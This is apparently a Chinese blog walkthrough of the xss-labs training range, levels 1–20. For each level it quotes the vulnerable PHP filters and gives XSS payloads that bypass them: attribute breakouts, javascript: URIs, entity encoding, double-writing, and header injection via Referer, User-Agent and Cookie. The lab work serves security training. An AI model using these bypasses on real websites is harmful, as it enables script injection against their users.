【Web安全靶场】xss-labs-master 1-20

xss-labs-master

其他靶场见专栏

文章目录

  • xss-labs-master
    • level-1
    • level-2
    • level-3
    • level-4
    • level-5
    • level-6
    • level-7
    • level-8
    • level-9
    • level-10
    • level-11
    • level-12
    • level-13
    • level-14
    • level-15
    • level-16
    • level-17
    • level-18
    • level-19
    • level-20

level-1

第一关没有进行任何限制,get请求参数直接回显至界面,修改参数值就行。

?name=<script>alert(1)</script>

level-2

第二关页面是一个输入框,输入的值会回显至页面中,所以先试一下**<script>alert(1)</script>**发现页面回显的消息直接就是我们输入的内容,并没有任何作用。

在这里插入图片描述

根据上面的图片可以知道我们的尖括号被转义为实体(没看到的话就选中右击选择Edit as HTML),因为源代码中使用了htmlspecialchars($str)。下面的敏感符号也会转义为HTML实体:&号,左右尖括号,单双引号,(这个函数具有三个参数,第一个参数为必选参数,表示待处理的字符串,第二个参数为可选参数,专门针对字符串中的引号操作,默认值:ENT_COMPAT,只转换双引号。ENT_QUOTS,单引号和双引号同时转换。ENT_NOQUOTES,不对引号进行转换。第三个参数为处理字符串的指定字符集)

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

但是input标签中我们输入的值也会显示在那,所以我尝试构造闭合,在input标签实现跨站脚本攻击。

<input name=keyword  value="'.$str.'">

首先尝试输入一个引号探针试一下引号有没有被过滤,没有被过滤就使用onfocus焦点事件、onblur竞争焦点事件。

  • onfocus焦点事件:

在这里插入图片描述

11" onfocus=alert(1)>
  • onblur竞争焦点事件:

在这里插入图片描述

1" onblur=alert(1)>

以及其他可以改变DOM结构的payload都可以…

level-3

输入<script>alert(1)</script>发现回显的地方尖括号变为HTML实体了,输入双引号尝试在input标签构造闭合,发现双引号被转为HTML实体。查看源代码,发现回显的地方和输入框的value均使用了htmlspecialchars函数。

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<input name=keyword  value='".htmlspecialchars($str)."'>

它对双引号进行了防御但是没有对单引号进行防御,所以我们可以通过事件标签促发xss攻击,因为**单引号在某些浏览器也可以和双引号构成闭合。**这里使用onfocus鼠标事件,任何其他可以改变DOM结构的是按都可以促发攻击。

  • onfocus鼠标事件:

在这里插入图片描述

1' onfocus='alert(/xss/)

level-4

这一关还是一个输入框加上一个回显,输入一个探针<script>'",查看input标签发现尖括号被吞了,但是单引号双引号正常存在。查看源代码发现尖括号被替换了:

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

在这里插入图片描述

所以直接使用onfocus或者onblue等等,但是不能使用改变DOM结构的标签了。

  • onfocus鼠标事件:

在这里插入图片描述

1" onfocus="alert(1)

注意点就是需要闭合后面的双引号…

level-5

这一关还是一个输入框和回显,输入<script>‘”探针试一下,发现script被下划线截断了,单双引号尖括号还是正常存在,所以猜测这一关就是对敏感词进行截断的,输入on发现on一样被截断,所以直接使用script和onfocus之类的不行了。查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

通过代码可知,这一关对<script和on进行截断,并且使用小写转化函数,所以不能使用大小写绕过了。我们可以做到的就是闭合,闭合的话就可以改变DOM结构,但是很多的标签触发条件都是onfocus什么的,这时就可以使用javascript伪协议。

  • javascript伪协议:

在这里插入图片描述

1"><a href="javascript:alert(1)">xssssss</a>

level-6

输入探针<sCript><script"'Oonn发现script和on被添加下划线,但是大小写绕过的script却没有被添加下划线,同样的单双引号、尖括号也没有被转义。

在这里插入图片描述

查看源代码发现好多的标签选项都被过滤了,但是这没有使用小写转换函数,所以直接使用大小写绕过是可以的。

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">
  • javascript伪协议:

在这里插入图片描述

"><a HREF="javascript:alert(1)">xsssss</a>
  • onfocus鼠标事件:

在这里插入图片描述

1" Onfocus=alert(1)>

level-7

输入探针<sCript><script"'Oonn发现script和on无论大小写都不见了,单双引号也不见了,但是尖括号还在,所以估计这些内容是被小写转化并且被replace了。

在这里插入图片描述

进行replace操作一般会尝试双写绕过,所以输入scrscriptipt发现,这一关仅仅消去了一个script标签,消去之后还会拼接成一个新的script,所以可以进行双写绕过。查看源代码:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">
  • javascript伪协议双写绕过:

在这里插入图片描述

1"><a hrhrefef="javascrscriptipt:alert(1)">xssssss</a>

level-8

这一关和前面的就有些不一样了,我们输入的内容会作为a标签的href值,所以我们尝试输入script,发现script被截断了。查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

<input name=keyword  value="'.htmlspecialchars($str).'">
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

由于这是href的值我们可以尝试构造javascript伪协议,script被截断了,所以我们可以尝试将其转化为HTML实体:

javascript  =>   &#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;
  • 转化为HTML实体:
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

在这里插入图片描述

level-9

这一道题也是友情链接,他给出的提示是“您的链接不合法?有没有!”输入sCript,发现sCript转化为小写并且被截断,并且使用HTML实体显示的是链接不合法,所以我们要给他一个正确的链接,它认为正确的链接是什么呢?查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

<input name=keyword  value="'.htmlspecialchars($str).'">

if (false === strpos($str7, 'http://')) {
   echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
} else {
   echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>';
}

这一关使用了strpos函数,这个函数的作用是返回指定文本第一次出现的位置,如果没有出现那就返回false,所以我们只需要输入有http://的链接就行了,对于伪协议,我们把它加上,并且把它注释掉就行了,并且要加在后面。

  • 转化为HTML实体的伪协议:

在这里插入图片描述

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http://

level-10

这一关是值是在URL的参数上,不在输入框上了,意味着鼠标事件没有用了,必须使用尖括号。使用探针sCript<'>"on=On发现,只有尖括号被转化成HTML实体。本来想着将尖括号转化成HTML实体看看行不行,但是发现转化的实体是带有&参数分隔符的。查看源代码发现,有一个被隐藏的form表单,里面有三个参数:

<form id="search">
	<input name="t_link" value="" type="hidden">
	<input name="t_history" value="" type="hidden">
	<input name="t_sort" value="" type="hidden">
</form>

所以在URL中加上这三个参数,发现仅仅第三个input标签变化了,所以猜测第三个标签是在value选项中插入值的。

在这里插入图片描述

查看源代码确实如此:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

所以我们尝试在t_sort中使用探针,仅仅尖括号被改变了而已,所以我们直接onfocus鼠标事件,注意要将type的值改为text否则无法显示出来,或者F12修改Elements也可。

  • onfocus鼠标事件:
  • 在这里插入图片描述
?keyword=1&t_link=1&t_history=1&t_sort=1" onfocus="alert(1)" type="text 

level-11

这一关还是URL参数的,有了上一关的经验,这次查看源代码,发现多出了一个input标签:

<form id="search">
	<input name="t_link" value="" type="hidden">
	<input name="t_history" value="" type="hidden">
	<input name="t_sort" value="" type="hidden">
	<input name="t_ref" value="http://192.168.255.128/xss-labs-master/level10.php?keyword=1&amp;t_link=1&amp;t_history=1&amp;t_sort=1%22%20οnmοuseοver=%22alert(1)%22%20type=%22text" type="hidden">
</form>

第四个标签的值很熟悉,这是我上一个链接,所以我猜测这是和referer头有关的,所以抓包!构造闭合!鼠标事件!改type的值!查看源代码确实如此,原来的t_sort不能用了:

<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
  • Refer头:

在这里插入图片描述

Referer: 1" onmouseover=alert(1) type="text

level-12

查看源代码发现还是多出来一个input标签,但是它的名字是t_ua,所以猜测这是和User-Agent有关的,查看源代码:

$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<form id=search>
	<input name="t_link"  value="'.'" type="hidden">
	<input name="t_history"  value="'.'" type="hidden">
	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>

可见这一关对引号和on之类的没有进行过滤,所以我们进行抓包,从User-Agent中实现xss攻击。

在这里插入图片描述

User-Agent: 1" onfocus=alert(1) type="text

level-13

这一关和前面一样也是隐藏了一些输入框,对于这一关,隐藏了一个t_cook,所以猜测这是和cookie相关的,分析源代码:

$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<form id=search>
	<input name="t_link"  value="'.'" type="hidden">
	<input name="t_history"  value="'.'" type="hidden">
	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>

进行抓包,对input使用onfocus鼠标事件:

在这里插入图片描述

Cookie: user=1" onfocus=alert(1) type="text

level-14

网上说这一关有点问题

level-15

这一道题没有任何输入框也没与任何回显,查看元素发现底下有一个**<!-- ngInclude: undefined -->**,一开始并不知道这是什么东西,搜了一下,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点,包含的文件需要包含在同一个域名下。查看了一下源代码,发现这一关是可以接收参数了,因为一开始进去没有参数所以ngInclude才是undefined:

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

因为这里对闭合符号进行处理,所以我想的是传递一个有漏洞的界面,将第一关传上去,注意要加上单引号:

在这里插入图片描述

但是如果将<script>alert(1)</script>作为第一关的答案传上去,是没有弹窗的,但是这个script标签会在代码元素中,那就试一下使用a标签,结果可知,主动触发的是可以的。

在这里插入图片描述

level-16

这一关正常了,是一个url参数的题,首先输入一下探针吧,<Script '" Oonn>=href,结果是尖括号、空格、script被替换,其中空格和尖括号被替换成HTML实体,script被过滤,大小转化为小写。查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);

没有空格的化可以使用%0a和%ob等代替,script使用不了就用input标签的onfocus:

在这里插入图片描述

?keyword=<input%0atype="text"%0aonfocus=alert(1)>

level-17

这一关进去之后会看到一个“该插件不受支持”,查看元素发现有一个**<embed src=“xsf01.swf?=” width=“100%” heigth=“100%”>**,所以猜测这个src是和参数有关的,查看源代码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

果然存在两个参数,我们传递这两个参数的时候,点号会把他们连接起来,尝试使用引号和尖括号发现都被转义了,当我发现src中会截断空格,所以尝试在arg01中添加空格:

在这里插入图片描述

?arg01=1  onmouseover&arg02=alert(1)

level-18

这一关和上一关一样的,用一样的方法就可以了…搞不懂了…

level18.php?arg01=1 onmouseover&arg02=alert(1)

level-19

这一关我尝试使用空格截断,发现并不可以所以查看源代码,发现这一关在双引号中进行点号运算,所以空格截断不可取:

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

使用单引号尝试能不能和闭合一下,发现单引号仅仅是普通文本,尖括号也是作为普通文本,这样子常规的方法无法下手了。接着我搜索xsf03.swf是什么来的,于是访问一下http://192.168.255.128/xss-labs-master/xsf03.swf,将文件下载下来,要使用专用的FlashPlayer播放器打开,但是使用了也打不开。。。网上搜了一下,弹出了个swf反编译,所以试了一下。得到version未定义,接着传入参数<a href=‘javascript:alert(/xss/)’>xss</a>,但最后结果没有显示,不会做了,逆向的题

level-20

不会做…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/425371.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

python复盘(1)

1、变量名的命名规则 #3、变量名的命名规则&#xff1a;可以用中文作为变量名&#xff1b;其他和go语言一样 # 变量名可以用数字、字母、下划线组成&#xff0c;但是数字不能作为开头 # 变量名不能使用空格&#xff0c;不能使用函数名或关键字 # 变量名最好能表示出他的作用2、…

Qt/事件分发器/事件过滤器

事件分发器 //事件分发器bool event(QEvent* e); //事件分发器&#xff1a;&#xff1a;用途 分发事件 bool MyLabel::event(QEvent* e) {if(e->type() QEvent::MouseButtonPress){//如果是鼠标摁下 拦截事件 不向下分发QMouseEvent* ev static_cast<QMouseEvent*>…

python类型注解,多态详解

目录 1.类型注解 1.变量的类型注解 2.函数&#xff08;方法&#xff09;的类型注解 3.union类型 2.多态 抽象类 1.类型注解 1.变量的类型注解 #基础数据类型注解 import randomv1 : int 10 v2 : str "aaa" v3 : bool True#类对象类型注解 class student:p…

基于springboot+vue的公寓报修管理系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

奇舞周刊第521期:“一切非 Rust 项目均为非法”

奇舞推荐 ■ ■ ■ 拜登&#xff1a;“一切非 Rust 项目均为非法” 科技巨头要为Coding安全负责。这并不是拜登政府对内存安全语言的首次提倡。“程序员编写代码并非没有后果&#xff0c;他们的⼯作⽅式于国家利益而言至关重要。”白宫国家网络总监办公室&#xff08;ONCD&…

6020一拖二快充线:手机充电的革命性创新

在快节奏的现代生活中&#xff0c;手机已不仅仅是一个通讯工具&#xff0c;更是我们工作、学习和娱乐的得力助手。然而&#xff0c;手机的电量问题一直是困扰着我们的难题。为了解决这个问题&#xff0c;市场上出现了一种名为“一拖二快充线”的充电设备&#xff0c;它不仅具备…

用JavaScript动态提取视频中的文字

现阶段整个社会短视频&#xff0c;中视频为王&#xff0c;文字传播虽然被弱化&#xff0c;但在业务中还是有一定的传播价值&#xff0c;今天就来讲一讲如何使用js动态提取视频中的字幕。 先来看看效果&#xff1a; 屏幕录制2024-02-29 15.40.18 一&#xff0c;tesseract.js介…

SpringMVC 学习(十一)之数据校验

目录 1 数据校验介绍 2 普通校验 3 分组校验 4 参考文档 1 数据校验介绍 在实际的项目中&#xff0c;一般会有两种校验数据的方式&#xff1a;客户端校验和服务端校验 客户端校验&#xff1a;这种校验一般是在前端页面使用 JS 代码进行校验&#xff0c;主要是验证输入数据…

Zookeeper3:客户端命令

文章目录 客户端命令连接服务端Zookeeper客户端内置命令 ls - 节点信息 客户端命令 连接服务端Zookeeper //客户端连接服务端zookeeper 默认连的本机2181端口的zookeeper cd /opt/module/zookeeper-3.9.1/bin && sh zkCli.sh//客户端连接远程服务端zookeeper cd /op…

详细了解C++中的namespace命名空间

键盘敲烂&#xff0c;月薪过万&#xff0c;同学们&#xff0c;加油呀&#xff01; 目录 键盘敲烂&#xff0c;月薪过万&#xff0c;同学们&#xff0c;加油呀&#xff01; 一、命名空间的理解 二、&#xff1a;&#xff1a;作用域运算符 三、命名空间&#xff08;namespace&…

Vulnhub靶机:Bellatrix

一、介绍 运行环境&#xff1a;Virtualbox 攻击机&#xff1a;kali&#xff08;10.0.2.4&#xff09; 靶机&#xff1a;Bellatrix&#xff08;10.0.2.9&#xff09; 目标&#xff1a;获取靶机root权限和flag 靶机下载地址&#xff1a;https://www.vulnhub.com/entry/hogwa…

【C++】const成员

个人主页 &#xff1a; zxctscl 如有转载请先通知 文章目录 1. 前言2. const成员3. 取地址及const取地址操作符重载 1. 前言 在之前已经已经分享过了关于 【C】类和对象之常引用与运算符重载&#xff0c;这次分享的有关const的内容&#xff0c;话不多说&#xff0c;正文开始。…

spring-security 项目实战(一)个人健康档案

spring-security 项目实战&#xff08;一&#xff09;个人健康档案 项目说明项目地址框架信息 代码分析配置类解析默认登录页登录接口执行逻辑登录认证成功之后重定向到main页面过程未登录之前访问 /main生成默认登录页点击登录 登录之后访问 /main执行流程清空认证信息 项目来…

Leetcoder Day27| 贪心算法part01

语言&#xff1a;Java/Go 理论 贪心的本质是选择每一阶段的局部最优&#xff0c;从而达到全局最优。 什么时候用贪心&#xff1f;可以用局部最优退出全局最优&#xff0c;并且想不到反例到情况 贪心的一般解题步骤 将问题分解为若干个子问题找出适合的贪心策略求解每一个子…

数据类型和变量

1.数据类型 在Java中数据类型主要分为两类&#xff1a;基本数据类型和引用数据类型。 基本数据类型有四类八种&#xff1a; 1. 四类&#xff1a;整型、浮点型、字符型以及布尔型 2.八种&#xff1a; 整形是分为如上四种 byte short int long 浮点型分为 float 和double …

【Java EE】线程安全的集合类

目录 &#x1f334;多线程环境使用 ArrayList&#x1f38d;多线程环境使⽤队列&#x1f340;多线程环境使⽤哈希表&#x1f338; Hashtable&#x1f338;ConcurrentHashMap ⭕相关面试题&#x1f525;其他常⻅问题 原来的集合类, 大部分都不是线程安全的. Vector, Stack, HashT…

Java---文件,流✨❤️

文章目录 1.遍历文件夹2.遍历子文件夹3.练习流4.以字节流的形式读取文件内容5.以字节流的形式向文件写入数据顶折纠问6 .写入数据到文件 1.遍历文件夹 一般说来操作系统都会安装在C盘&#xff0c;所以会有一个 C:\WINDOWS目录。 遍历这个目录下所有的文件(不用遍历子目录) 找出…

全栈入门,前后端入门--springboot3+vue3制作一个后台管理项目

一&#xff1a;前言 1&#xff1a;因为本人也是全栈初学者&#xff0c;现在主职是公司前端&#xff0c;鉴于当前行业形式&#xff0c;单单只掌握一门语言已经不再吃香&#xff0c;甚至有点危险&#xff0c;35岁危机极大可能提前。作为00后要始终保持危机意识&#xff0c;不至于…

[C++]使用纯opencv去部署yolov9的onnx模型

【介绍】 部署 YOLOv9 ONNX 模型在 OpenCV 的 C 环境中涉及一系列步骤。以下是一个简化的部署方案概述&#xff0c;以及相关的文案。 部署方案概述&#xff1a; 模型准备&#xff1a;首先&#xff0c;你需要确保你有 YOLOv9 的 ONNX 模型文件。这个文件包含了模型的结构和权…

opencv生成一张图片

opencv也可以创造出一张照片&#xff0c;下面就是创造一张照片&#xff0c;并存放到项目文件夹下的示例 #include <opencv2/highgui/highgui.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <iostream> #include <vector> using namespace cv…